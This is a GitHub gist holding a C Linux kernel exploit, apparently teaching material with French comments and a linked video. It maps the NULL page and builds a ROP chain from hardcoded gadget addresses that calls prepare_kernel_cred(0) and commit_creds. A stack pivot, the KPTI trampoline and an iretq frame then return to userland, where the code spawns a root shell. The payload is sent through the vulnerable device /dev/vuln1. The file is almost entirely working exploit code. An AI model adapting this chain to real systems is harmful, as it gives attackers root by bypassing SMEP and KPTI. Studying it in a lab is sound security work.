Skip to content

Instantly share code, notes, and snippets.

@n4sm
Last active August 19, 2021 12:24
Show Gist options
  • Save n4sm/e032f84bf3ffd7f790cbbc1eccbfb898 to your computer and use it in GitHub Desktop.
Save n4sm/e032f84bf3ffd7f790cbbc1eccbfb898 to your computer and use it in GitHub Desktop.
Kernel Exploitation - ROP bypass KPTI / smep
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <assert.h>
#include <sys/ioctl.h>
#define LEN 1337
#define WRITE 1337
#define VULN_NAME "/dev/vuln1"
/*
* Warning, this exploit is not portable on another machine
*/
typedef struct write_buf {
unsigned long length;
unsigned char *rbuf;
} wr_struct;
/*
* [Intro']:
* - Userland vs Kernel land
* - Structure d'un process
* - Les devices vulnérables
* [pWn]:
* - Execution de code en kernel land
* - Les protections (smap, smep, kaslr, KPTI, mmap_min_addr, kptr_restrict, dmesg_restrict ...)
* - Buffer overflow, NULL pointer dereference
* - Schema d'attaque:
* - commit_creds(rdi=rax=prepare_kernel_cred(rdi=0))
* - swapgs & iretq + frame (ip + cs + rflags + sp + ss)
* - ROP => ret2kpti_trampoline & ret2user
* [Outro]:
* - Ouverture
*/
/*
src: https://gist.github.com/n4sm/2b77e6d4e784fb8707da18d6c9961643
related video (fr): https://www.youtube.com/watch?v=Rx3sRn5garA
*/
unsigned long cs;
unsigned long rsp;
unsigned long ss;
unsigned long rflags;
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
"movq %%rsp, %3\n"
: "=r" (cs), "=r" (ss), "=r" (rflags), "=r" (rsp) : : "memory" );
}
void get_r00t() {
if (!getuid()) {
printf("Enjoy ur shell\n");
system("/bin/sh");
}
__asm__ volatile("movq $60, %rax\t\n"
"xorq %rdi, %rdi\t\n"
"syscall\t\n");
}
int main() {
int fd;
wr_struct pld = {0};
pld.length = 0x3;
pld.rbuf = "aaa";
wr_struct *null_p = mmap(0x0, 0x1000, PROT_WRITE | PROT_READ,
MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, -1, 0x0);
null_p->length = 0x28+8*8; // 0x28 padding pld number of unsigned long * sizeof(unsigned long *) (8 bytes)
null_p->rbuf = malloc(0x28+8*8);
unsigned long *pld_p = null_p->rbuf+0x28;
*pld_p ++= 0xffffffff81002ffd; // : pop rdi ; ret;
*pld_p ++= (unsigned long)0x0;
*pld_p ++= 0xffffffff810a3350; // T prepare_kernel_cred
*pld_p ++= 0xffffffff8101eb7d; // : mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret
*pld_p ++= (unsigned long)0x1337;
*pld_p ++= 0xffffffff810a30a0; // T commit_creds
save_state();
unsigned long *fstack_ret2user = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE, -1, 0x0);
*pld_p ++= 0xffffffff81075c12; // : mov rsp, qword ptr [rsp] ; pop rbp ; ret
*pld_p ++= fstack_ret2user; // Stack pivoting
*fstack_ret2user ++= (unsigned long)0x1337; // pop rbp
*fstack_ret2user ++= 0xFFFFFFFF81800A6A; /* kpti trampoline */
*fstack_ret2user ++= (unsigned long)0x1337; /* value 4 the pop rax */
*fstack_ret2user ++= (unsigned long)0x1337; /* value 4 the pop rdi */
/* iretq frame */
*fstack_ret2user ++= (unsigned long)get_r00t;
*fstack_ret2user ++= (unsigned long)cs;
*fstack_ret2user ++= (unsigned long)rflags;
*fstack_ret2user ++= (unsigned long)rsp;
*fstack_ret2user ++= (unsigned long)ss;
/* Open and send the pld */
if ((fd = open(VULN_NAME, O_RDWR)) < 0x0) {
perror("[ERROR OPEN]\n");
return -1;
} else if (-1 == write(fd, &pld, sizeof(wr_struct))) {
perror("[ERROR WRITE]\n");
return -1;
}
free(null_p->rbuf);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment